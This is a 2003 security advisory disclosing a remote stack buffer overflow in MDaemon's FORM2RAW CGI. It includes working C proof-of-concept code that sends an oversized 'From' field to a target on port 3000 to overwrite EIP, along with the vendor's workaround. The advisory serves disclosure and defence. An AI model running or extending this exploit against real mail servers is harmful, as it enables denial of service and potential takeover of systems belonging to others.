Hat-Squad Security Team Advisory http://www.hat-squad.com Product: Alt-N Technologies Mdaemon Mail Server Version: MDaemon 6.85 and Below to 6.52 Vulnerability: Remote buffer overflow in Raw Message Handler Release Date: 12/29/2003 Vendor Status: Informed on 29 Dec 2003 Quick response on 29 Dec 2003 Overview: FORM2RAW.exe is a CGI which allows users to send email using MDaemon from a web. It processes the fields of an HTML form and creates a RAW message File in the Raw queue Directory of MDaemon mail server. This file then will be proccessed and qeued for delivery by MDaemon. According to the Help file "By default, MDaemon 6.52 or higher will not send emails created by Form2Raw unless the email address passed in the 'from' tag (see below) is a valid account on the MDaemon server.If you want to disable this behavior you can set the FromCheck=No in FORM2RAW.INI file". Problem: Sending more than 153 bytes in the "From" field to FROM2Raw.exe creates a Raw File that when proccessed by mdaemon will cause a Stack buffer overflow.The EIP register will be overwritten when From Field length was 249 bytes. The FORM2RAW.exe is accessible by default from WorlClient Web server listening on Port 3000. ---------------------Exploit: #include #include #include #pragma comment (lib,"ws2_32") #define RET 0x1dff160 #define PORT 3000 void main(int argc, char **argv) { SOCKET s = 0; WSADATA wsaData; if(argc < 2) { fprintf(stderr, "MDaemon form2raw.cgi Exploit Written by Behrang Fouladi, " \ "\nUsage: %s \n", argv[0]); printf("%d",argc); exit(0); } WSAStartup(MAKEWORD(2,0), &wsaData); s = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); if(INVALID_SOCKET != s) { SOCKADDR_IN anAddr; anAddr.sin_family = AF_INET; anAddr.sin_port = htons(PORT); anAddr.sin_addr.S_un.S_addr = inet_addr(argv[1]); if(0 == connect(s, (struct sockaddr *)&anAddr, sizeof(struct sockaddr))) { static char buffer[500]; int i; memset(buffer,0,sizeof(buffer)); strcpy(buffer,"get /form2raw.cgi?From="); for(i=0;i<244;i++) { strcat(buffer,"a"); } strcat(buffer,"bbbb"); //Overwrites EIP strcat(buffer,"c"); //One byte left after ESP :-( strcat(buffer,"&To=me@hell.org&Subject=hi&Body=hello HTTP/1.0\r\n\r\n"); send(s, buffer, strlen(buffer), 0); printf("Exploit Sent."); } else printf("Error Connecting to The Target.\n"); closesocket(s); } WSACleanup(); } --------------------------------------- Vendor Response: Robin Edwards Wrote: We have had a similar vulnerability report with Form2Raw and hope to release a patch soon. In the meantime it is easy to disable Form2Raw by following the instructions below: ----- To disable FORM2RAW open the \MDaemon\WorldClient\WorldClient.ini file with Notepad and delete the following two lines: CgiBase2=/Form2Raw.cgi CgiFile2=C:\MDaemon\CGI\Form2Raw.exe Afterward, restart WorldClient to register the change. ----- Credits: This Vulnerability has been Discoverd By Pejamn Davarzani (pejman@hat-squad.com) and Behrang Fouladi(behrang@hat-squad.com)